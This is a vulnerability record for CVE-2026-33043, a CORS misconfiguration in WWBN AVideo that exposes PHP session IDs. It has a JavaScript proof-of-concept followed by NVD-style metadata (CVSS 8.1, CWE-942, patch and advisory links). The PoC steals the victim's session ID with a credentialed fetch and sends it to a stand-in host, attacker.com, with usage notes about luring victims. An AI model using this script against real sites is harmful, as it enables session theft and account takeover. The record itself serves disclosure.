CVE-2026-33043

<!-- PoC: Exploiting CORS misconfiguration to steal Session ID Usage: Host this script on a malicious server (e.g., evil.com) and trick a logged-in victim to visit it. --> <script> const targetUrl = 'http://target-site.com/objects/phpsessionid.json.php'; fetch(targetUrl, { method: 'GET', credentials: 'include' // Important: sends cookies }) .then(response => response.json()) .then(data => { console.log('Leaked Session ID:', data); // Send data to attacker's server fetch('http://attacker.com/log?id=' + encodeURIComponent(data.session_id)); }) .catch(error => console.error('Error:', error)); </script>

{"cve": {"id": "CVE-2026-33043", "sourceIdentifier": "[email protected]", "published": "2026-03-20T06:16:12.670", "lastModified": "2026-03-23T15:28:09.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. This issue has been fixed in version 26.0."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En las versiones 25.0 e inferiores, /objects/phpsessionid.json.php expone el ID de sesión PHP actual a cualquier solicitud no autenticada. La función allowOrigin() refleja cualquier encabezado Origin de vuelta en Access-Control-Allow-Origin con Access-Control-Allow-Credentials: true, lo que permite el robo de sesión de origen cruzado y la toma de control total de la cuenta. Este problema ha sido solucionado en la versión 26.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}